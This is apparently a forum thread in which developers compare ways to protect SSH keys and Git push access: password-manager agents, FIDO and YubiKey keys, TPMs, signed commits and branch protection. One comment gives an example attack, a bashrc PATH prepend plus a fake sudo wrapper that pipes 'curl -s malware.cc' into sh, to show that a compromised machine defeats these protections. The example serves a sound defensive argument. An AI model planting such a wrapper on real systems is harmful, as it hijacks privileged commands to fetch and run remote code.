1) Get 1Password, 2) use 1Password to hold all your SSH keys and authorize SSH access [1], 3) use 1Password to sign your Git commits and set up your remote VCS to validate them [2], 4) use GitHub OAuth [3] or the GitHub CLI's Login with HTTPS [4] to do repository push/pull. If you don't like 1Password, use BitWarden.

With this setup there are two different SSH keys, one for access to GitHub, one is a commit signing key, but you don't use either to push/pull to GitHub, you use OAuth (over HTTPS). This combination provides the most security (without hardware tokens) and 1Password and the OAuth apps make it seamless.

Do not use a user with admin credentials for day to day tasks, make that a separate user in 1Password. This way if your regular account gets compromised the attacker will not have admin credentials.

[1] https://developer.1password.com/docs/ssh/agent/ [2] https://developer.1password.com/docs/ssh/git-commit-signing/ [3] https://github.com/hickford/git-credential-oauth [4] https://cli.github.com/manual/gh_auth_login

I already use 1password and have it already installed. Will try this out. Thanks!

Okay great advice, thanks. I'm already using Bitwarden and found out they have an SSH Agent feature too [1]. I've tried lastpass, Bitwarden, 1password and I prefer Bitwarden (good UX, very affordable)

[1] https://bitwarden.com/help/ssh-agent/

Make sure the gh cli isn’t storing oauth credentials in plaintext as it can silently do.

Bitwarden verbiage deserves to be higher than 1Password, here.

One approach I started using a could of years ago was storing SSH private keys in the TPM, and using it via PKCS11 in SSH agent.

One benefit of Microsoft requiring them for Windows 11 support is that nearly every recent computer has a TPM, either hardware or emulated by the CPU firmware.

It guarantees that the private key can never be exfiltrated or copied. But it doesn't stop malicious software on your machine from doing bad things from your machine.

So I'm not certain how much protection it really offers on this scenario.

Linux example: https://wiki.gentoo.org/wiki/Trusted_Platform_Module/SSH

macOS example (I haven't tested personally): https://gist.github.com/arianvp/5f59f1783e3eaf1a2d4cd8e952bb...

Or use a FIDO token to protect your SSH key, which becomes useless without the hardware token.

https://wiki.archlinux.org/title/SSH_keys#FIDO/U2F

That's what I do. For those of us too lazy to read the article, tl;dr:

  ssh-keygen -t ed25519-sk

or, if your FIDO token doesn't support edwards curves:

  ssh-keygen -t ecdsa-sk

tap the token when ssh asks for it, done.

Use the ssh key as usual. OpenSSH will ask you to tap the token every time you use it: silent git pushes without you confirming it by tapping the token become impossible. Extracting the key from your machine does nothing — it's useless without the hardware token.

Except that an attacker can modify the ssh config to enable session multiplexing with a long timeout and then piggy-back off that connection, right?

Looks like on the server side this can be mitigated somewhat by the MaxStartups¹ setting for OpenSSH or equivalent behavior for other services that support SSH auth (e.g., Git forges like GitHub):

  MaxStartups
               Specifies the maximum number of concurrent unauthenticated
               connections to the SSH daemon.  Additional connections
               will be dropped until authentication succeeds or the
               LoginGraceTime expires for a connection.  The default is
               10:30:100.

               Alternatively, random early drop can be enabled by
               specifying the three colon separated values
               start:rate:full (e.g. "10:30:60").  sshd(8) will refuse
               connection attempts with a probability of rate/100 (30%)
               if there are currently start (10) unauthenticated
               connections.  The probability increases linearly and all
               connection attempts are refused if the number of
               unauthenticated connections reaches full (60).

So it looks like it's possible to support ControlMaster while still somewhat hampering mass-cloning thousands of repos via SSH key without reauthenticating.

Admittedly I'd put this more in the category of making endpoint compromise easier to detect than that of actually preventing any particular theft of data or manipulation of systems. But it might still be worth doing! If it means only a few dozen or only a hundred repos get compromised before detection instead of a few thousand, that's a good thing.

Besides all that (or MaxSessions, as another user mentions), if an attacker compromises a developer laptop and can only open those connections as long as the developer is online, that's one thing. But a plaintext key that they can grab and reuse from their own box is obviously an even sweeter prize!

"The SSH key on my YubiKey is useless to attackers" is obviously the wrong way to think about this, but using a smartcard for SSH keys is still a way to avoid storing plaintext secrets. It's good hygiene.

--

https://www.man7.org/linux/man-pages/man5/sshd_config.5.html

There is no defense against a compromised laptop. You should prevent this at all cost.

You can make it a bit more challenging for the attacker by using secure enclaves (like TPM or Yubikey), enforce signed commits, etc. but if someone compromised your machine, they can do whatever you can.

Enforcing signing off on commits by multiple people is probably your only bet. But if you have admin creds, an attacker can turn that off, too. So depending on your paranoia level and risk appetite, you need a dedicated machine for admin actions.

It's more nuanced than that. Modern OSes and applications can, and often do, require re-authentication before proceeding with sensitive actions. I can't just run `sudo` without re-authenticating myself; and my ssh agent will reauthenticate me as well. See, e.g., https://developer.1password.com/docs/ssh/agent/security

The malware can wait until you authenticate and perform its actions then in the context of your user session. The malware can also hijack your PATH variable and replace sudo with a wrapper that includes malicious commands.

It can also just get lucky and perform a 'git push' while your SSH agent happens to be unlocked. We don't want to rely on luck here.

Really, it's pointless. Unless you are signing specific actions from an independent piece of hardware [1], the malware can do what you can do. We can talk about the details all day long, and you can make it a bit harder for autonomously acting malware, but at the end of the day it's just a finger exercise to do what they want to do after they compromised your machine.

[1] https://www.reiner-sct.com/en/tan-generators/tan-generator-f... (Note that a display is required so you can see what specific action you are actually signing, in this case it shows amount and recipient bank account number.)

Do you have evidence or a reproducible test case of a successful malware hijack of an ssh session using a Mac and the 1Password agent, or the sudo replacement you suggested? I assume you fully read the link I sent?

I don't think you're necessarily wrong in theory -- but on the other hand you seem to discount taking reasonable (if imperfect) precautionary and defensive measures in favor of an "impossible, therefore don't bother" attitude. Taken to its logical extreme, people with such attitudes would never take risks like driving, or let their children out of the house.

I can type up a test case on my phone:

The malware puts this in your bashrc or equivalent:

    PATH=/tmp/malware/bin:$PATH

In /tmp/malware/bin/sudo:

    #!/bin/bash
    /sbin/sudo bash -c "curl -s malware.cc|sh && $@" 

You get the idea. It can do something similar to the git binary and hijack "git commit" such that it will amend whatever it wants and you will happily sign it and push it using your hardened SSH agent.

You say it's unlikely, fine, so your risk appetite is sufficiently high. I just want to highlight the risk.

If your machine is compromised, it's game over.

Typical defense against this is to mount all user-writable filesystems as `noexec` but unfortunately most OSes don't do that out of the box.

It could have created a bash alias then. And I don't think a dev wants to be restricted in creating executables. Again, if a dev can do it, so can the malware.

I remember you could trivially circumvent that with „/lib/ld-linux.so <executable>“. Does that no longer work?

noexec now prevents mmaping files on that filesystem as executable.

Kinda hard to work as a software developer then.

This is absolutely not true.

A compromised laptop should always be treated as a fully compromised. However, you can take steps that drastically reduce the likelihood of bad things happening before you can react (e.g. disable accounts/rotate keys).

Further, you can take actions that inherently limit the ability for a compromise to actually cause impact. Not needing to actually store certain things on the machine is a great start.

I’ve started to get more and more paranoid about this. It’s tough when you’re running untrusted code, but I think I’ve improved this by:

not storing SSH keys on the filesystem, and instead using an agent (like 1Password) to mediate access

Stop storing dev secrets/credentials on the filesystem, injecting them into processes with env vars or other mechanisms. Your password manager could have a way to do this.

Develop in a VM separate from your regular computer usage. On windows this is essential anyway through using WSL, but similar things exist for other OSs

You can add a gpg key and subkeys to a yubikey and use gpg-agent instead of ssh-agent for ssh auth. When you commit or push, it asks you for a pin for the yubikey to unlock it.

1 store my ssh key in 1Password and use the 1Password ssh agent. This agents asks for access to the key(s) with Touch ID. Either for each access or for each session etc. one can also whitelist programs but I think this all reduces the security.

There is the FIDO feature which means you don’t need to hackle with gpg at all. You can even use an ssh key as signing key to add another layer of security on the GitHub side by only allowing signed commits.

You can put the ssh privkey on the yubikey itself and protect it with a pin.

You can also just generate new ssh keys and protect them with a pin.

Your SSH private key must be encrypted using a passphrase. Never store your private key in the clear!

And what do you do with the passphrase, store it encrypted with a passphrase?

This is what agents are for. You load your private key into an agent so you don't have to enter your passphrase every time you use it. Agents are supposed to be hardened so that your private key can't be easily exfiltrated from them. You can then configure `ssh` to pass requests through the agent.

There are lots of agents out there, from the basic `ssh-agent`, to `ssh-agent` integrated with the MacOS keychain (which automatically unlocks when you log in), to 1Password (which is quite nice!).

This is a good defense for malware that only has read access to the filesystem or a stolen hard drive scenario without disk encryption, but does nothing against the compromised dev machine scenario.

This seems to be the standard thing people miss. All the things that make security more convenient also make it weaker. They boast about how "doing thing X" makes them super secure, pat on the back and done. Completely ignoring other avenues they left open.

A case like this brings this out a lot. Compromised dev machine means that anything that doesn't require a separate piece of hardware that asks for your interaction is not going to help. And the more interactions you require for tightening security again the more tedious it becomes and you're likely going to just instinctively press the fob whenever it asks.

Sure, it raises the bar a bit because malware has to take it into account and if there are enough softer targets they may not have bothered. This time.

Classic: you only have to outrun the other guy. Not the lion.

See my comment above; not every SSH agent is alike.

Which one?

Like, I see the comment about the Keychain integration and all that. But in the end I fail to see (without further explanation but I'm eager to learn if there's something I am unaware of) where this isn't different from what I am saying.

Like yes, my ssh key has a passphrase of course. Which is different from my system one actually. As soon as I log into the system I add the key, which means entering the passphrase once, so I don't have to enter it all the time. That would get old real fast. But now ssh can just use my key to do stuff and the agent doesn't know if it's me or I got compromised by npm installing something. And if you add a hardware token you "just have to tap" each time that's a step back into more security but does add tedium. Depending on how often my workflow uses ssh (or something that uses the key) in the background this will become something most people just blindly "tap" on. And then we are back towards less security but with more setup steps, complications and tedium.

I saw the "or allow for a session", which is a step towards security again, because I may be able to allow a script that does several things with ssh with a single tap, which is great of course. Hopefully that cuts the taps down so much that I don't just blindly tap on every request for it. Like the 1password thing you mentioned. If I do lots of things that make it "ask again" often enough I get pushed into "yeah yeah, I know the drill, just tap" security hole.

Keep in mind that not every agent is so naive as to allow a local client to connect to it without reauthenticating somehow.

1Password, for example, will, for each new application, pop up a fingerprint request on my Mac before handling the connection request and allow additional requests for a configurable period of time -- and, by default, it will lock the agent when you lock your machine. It will also request authentication before allowing any new process to make the first connection. See e.g. https://developer.1password.com/docs/ssh/agent/security

You memorize it, or keep it in 1Password. 1Password can manage your SSH keys, and 1Password can/does require a password, so it's still protected with something you know + something you have.

One option is to remember it.

I don’t think that’s considered secure enough, see the other answers and the push for passkeys.

Passphrases, when strong enough, are fine when they are not traversing a medium that can be observed by a third party. They're not recommended for authenticating a secure connection over a network, but they’re fine for unlocking a much longer secret that cannot be cracked via guessing, rainbow tables, or other well known means. Hell, most people unlock their phones with a 4 digit passcode, and their computers with a passphrase.

> when they are not traversing a medium that can be observed by a third party

Isn't that why all those security experts are pushing for SSL everywhere and 30 second certificate expiration? To make the medium unobservable by a third party?

If you believe them, passphrases should be okay over fiber you don't control too.

One thing I forgot to mention is what the trust relationship looks like. Passphrases used for authentication are known by both parties and could be leaked by the other side or stolen from them, while private keys remain only available to you. With public key authentication, the other party only has your public key, which is freely shareable.

And yes, we all know that 2FA, passkeys, etc. are all better than passphrases, and that layer 3 wire encryption is important.

I’m merely responding to your blanket assertion that passphrases aren’t “secure enough,” but sometimes they are.

It's secure enough.

password-protect your key (preferably with a good password that is not the same password you use to log in to your account). If you use a password it's encrypted; otherwise its stored on plaintext and anybody who manages to get a hold of your laptop can steal the private key.

You can set up your repo to disable pushing directly to branches like main and require MFA to use the org admin account, so something malicious would need to push to a benign branch and separately be merged into one that deploys come from.

But the attacker could just create a branch, merge request and then merge that?

They can't with git by itself, but if you're also signed in to GitHub or BitBucket's CLI with an account able to approve merges they could use those tools.

We require review on PRs before they can be merged.

Pushing directly to main seems crazy - for anything that is remotely important I would use a pull request/merge request pattern

Depends on the use case of the repo.

There's nothing wrong with pushing to main, as long as you don't blindly treat the head of the main branch as production-ready. It's a branch like any other; Git doesn't care what its name is.

Yea ofc I was implying that main is the branch that is pushed to production.

Add a password or hardware 2-factor to your ssh key. And get a password manager with the same for those admin credentials.

If github, take a look at gh cli or git credential manager:

https://docs.github.com/en/get-started/git-basics/caching-yo...

I wouldn't say that's better. Now your .config directory contains a github token that can do more than just repo pull/push, and it is trivially exfiltrated. Though similar thing could be said for browser cookies.

Not a perfect defense, but sufficient to make your key much harder to exploit: Use a Yubikey (or similar) resident SSH key, with the Yubikey configured to require a touch for each authentication request.

You can use split-ssh on Qubes OS, such that your development environment won't have the access to your private keys: https://forum.qubes-os.org/t/split-ssh/19060